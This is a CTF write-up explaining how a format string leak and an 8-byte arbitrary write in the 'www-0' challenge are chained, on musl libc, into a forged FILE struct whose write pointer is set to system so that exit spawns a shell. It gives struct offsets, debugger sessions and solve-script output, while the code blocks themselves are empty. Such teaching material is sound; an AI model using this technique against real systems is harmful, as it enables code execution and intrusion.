A couple months ago, I participated in a local CTF in which there was a very interesting pwn challenge authored by msfir, named www-0. The main twist of the challenge was that it’s run on an Alpine Linux container, unlike other challenges which usually run on an Ubuntu or Debian container. Since Alpine uses musl instead of glibc as its standard C library, this has the consequence that the binary will be linked to a musl libc, as opposed to the usual glibc. While mostly identical in function, musl is different in implementation when compared to glibc. So, some exploits that work on glibc might not automatically work on musl libc. In this writeup, we’ll be exploring how musl libc is implemented, specifically how it handles files and its exit procedures.
Challenge Overview
You can follow along and try the challenge for yourself if you want to by clicking the download link above. The challenge files include the binary, its source code, and the corresponding Docker files to spin up your own instance. The source code is as follows.
| |
[*] '/home/nouxia/ctf/arkavidia/pwn/www-0/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
As a summary, the program will:
- Ask the user for some input, which is then immediately passed into a
printfcall, resulting in a format string vulnerability. - Ask the user for an arbitrary address.
- Ask the user for an 8-byte integer, which will be written to the aforementioned address.
The challenge is quite simple and the vulnerability is very obvious, but it’ll be somewhat tricky to exploit.
Leaking Libc
The challenge imposes a constraint on the string you’re allowed to input. The string must be at most 32 characters long and mustn’t contain $ or n. This poses some difficulty as you usually use$ to specify the offset when trying to leak values off the stack. To get around this, we can use multiple format specifiers to simulate leaking an offset. For example, to leak %5$p, we can send in %p%p%p%p%p and the 5th %p will correspond to the value on the stack at offset 5.
With that out of the way, first things first we need to find the offset of our input buffer, as standard for most format string vulnerabilities.
$ ./chall_patched
AAAAAAAA%p%p%p%p%p%p
AAAAAAAA00x140x5d0x7ffd12e35bb000x4141414141414141
Where:
We find that our buffer sits at offset 6. With this in mind, we can craft the final format string. As mentioned before, we’ll send in a GOT entry along with a %s format at the right offset to leak a libc address.
| |
[+] Starting local process '/home/nouxia/ctf/arkavidia/pwn/www-0/chall_patched': pid 186020
[+] hex(libc_leak) = '0x70383b2f8418'
[*] Switching to interactive mode
.....\xa0?@
Where: $
pwndbg> vmmap 0x7914c2902418
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x7914c28a0000 0x7914c28b4000 r--p 14000 0 /home/nouxia/ctf/arkavidia/pwn/www-0/ld-musl-x86_64.so.1
► 0x7914c28b4000 0x7914c290b000 r-xp 57000 14000 /home/nouxia/ctf/arkavidia/pwn/www-0/ld-musl-x86_64.so.1 +0x4e418
0x7914c290b000 0x7914c2941000 r--p 36000 6b000 /home/nouxia/ctf/arkavidia/pwn/www-0/ld-musl-x86_64.so.1
pwndbg> distance 0x7914c2902418 0x7914c28a0000
0x7914c2902418->0x7914c28a0000 is -0x62418 bytes (-0xc483 words)
pwndbg>
Awesome, we now have obtained the libc base address. Moving on, let’s explore what we can do with an 8-byte overwrite. Notice how after the program writes our 8 bytes, it immediately calls exit(0). So let’s start there. Let’s explore what actually happens when a program calls exit.
What Happens when exit() is Called?
To answer this question, let’s take a look at the musl source code. To provide context for the next section, our final plan will revolve around crafting a fake FILE struct, such that system("/bin/sh") will be called when that file is closed.
| |
There are 3 functions that can be of our interest here, __funcs_on_exit, __libc_exit_fini, and __stdio_exit. However, so this post doesn’t become too long, I’ll only be talking about __stdio_exit, which is be the function we’ll be taking advantage of for our exploit. But as a general overview, __funcs_on_exit is where the functions registered by atexit will be called, and __libc_exit_fini is equivalent to _dl_fini on glibc. Below is the source code for __stdio_exit and __ofl_lock, one of the functions called within it.
| |
| |
The function __stdio_exit is responsible for closing all open FILE handles. Furthermore, __ofl_lock will return the head of the linked list containing all open FILE handles, similar to _IO_list_all in glibc. After that, each FILE in the list will be closed one by one followed by stdin, stdout, and stderr.
The key thing to observe here is the calls to f->write and f->seek in close_file. The write and seek members of the FILE struct are overwritable pointers. So, if we can insert a pointer to system into either write or seek, we will successfully call system when that FILE is closed. However, we need to ensure that f->wpos != f->wbase or f->rpos != f->rend so that the function will be called. To find out the needed offsets in the FILE struct, let’s take a look at the disassembly of close_file.
| |
We find that wpos is located at FILE+0x28, wbase at FILE+0x38, and write at FILE+0x48. Alrighty, so to call system("/bin/sh"), our fake FILE must have:
FILE+0x0equal to"/bin/sh"in its integer representation. We need this because the first argument tof->writeis ourFILEitself.wpos != wbaseorFILE+0x28 != FILE+0x38writeorFILE+0x48equal tosystem
After making our fake FILE, the last thing we need to do is to overwrite ofl_head such that it points to it. Note that here I choose to overwrite f->write, but the same principles apply should you choose to overwrite f->seek.
How do We Write Our Fake FILE?
But wait, the FILE struct is huge, and we can only write 8 bytes at a time. So, what’s the solution? Fortunately, stdin in this challenge is buffered. When a file stream is buffered, any input intended for it is explicitly stored in a memory buffer. We can see this for ourselves in the following example.
pwndbg> disass gift
Dump of assembler code for function gift:
...
0x000000000040125d <+45>: lea rdi,[rip+0xd9c] # 0x402000
=> 0x0000000000401264 <+52>: call 0x401060 <scanf@plt>
0x0000000000401269 <+57>: mov rdi,rsp
...
End of assembler dump.
pwndbg> b *(gift+57)
Breakpoint 3 at 0x401269
pwndbg> r
Starting program: /home/nouxia/ctf/arkavidia/pwn/www-0/chall_patched
AAAAAAAA
Here, I set a breakpoint right after a scanf call, then I sent in 8 "A"s
pwndbg> search AAAAAAAA
Searching for byte: b'AAAAAAAA'
[anon_7ffff7ffc] 0x7ffff7ffc2e8 'AAAAAAAA\n'
[stack] 0x7fffffffd270 'AAAAAAAA'
pwndbg> vmmap 0x7ffff7ffc2e8
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x7ffff7ffb000 0x7ffff7ffc000 rw-p 1000 a1000 /home/nouxia/ctf/arkavidia/pwn/www-0/ld-musl-x86_64.so.1
► 0x7ffff7ffc000 0x7ffff7fff000 rw-p 3000 0 [anon_7ffff7ffc] +0x2e8
pwndbg> x/gx &stdin
0x7ffff7ffad60 <stdin>: 0x00007ffff7ffb180
pwndbg> x/20gx 0x00007ffff7ffb180
0x7ffff7ffb180: 0x0000000000000009 0x00007ffff7ffc2f0
0x7ffff7ffb190: 0x00007ffff7ffc2f1 0x00007ffff7fb8277
0x7ffff7ffb1a0: 0x0000000000000000 0x0000000000000000
0x7ffff7ffb1b0: 0x0000000000000000 0x0000000000000000
0x7ffff7ffb1c0: 0x00007ffff7fb832b 0x0000000000000000
0x7ffff7ffb1d0: 0x00007ffff7fb83f6 0x00007ffff7ffc2e8 <-- This is where our "AAAAAAAA" is stored. As a matter of fact, this address is the buffer used for stdin
0x7ffff7ffb1e0: 0x0000000000000400 0x0000000000000000
0x7ffff7ffb1f0: 0x0000000000000000 0x0000000000000000
0x7ffff7ffb200: 0x0000000000000000 0xffffffffffffffff
0x7ffff7ffb210: 0x0000000000000000 0x0000000000000000
pwndbg>
After that, I searched the memory space for those 8 "A"s and found that it’s stored in 2 places. One in the stack and the other in some place near libc. After further investigation, it can be found that this “some place” is actually the buffer used for stdin. If stdin were unbuffered in this challenge, those 8 "A"s would be discarded after it’s been processed and wouldn’t be stored in memory.
So, knowing this, we can insert our fake FILE right after our normal input to scanf. Then, we overwrite ofl_head to point to the stdin buffer. With this setup, system("/bin/sh") will be called when __stdio_exit is executed.
Solve Script
| |
$ ./solve.py
[*] '/home/nouxia/ctf/arkavidia/pwn/www-0/chall_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
[*] '/home/nouxia/ctf/arkavidia/pwn/www-0/ld-musl-x86_64.so.1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to localhost on port 8002: Done
[+] hex(libc_leak) = '0x7add684b6418'
[+] hex(libc_address) = '0x7add68454000'
[+] hex(ofl_head) = '0x7add684f8e88'
[+] hex(scanf_buf) = '0x7add684f72e8'
[*] Switching to interactive mode
$ ls
chall
flag.txt
$ cat flag.txt
flag{test}
$
References
- musl source code - https://github.com/kraj/musl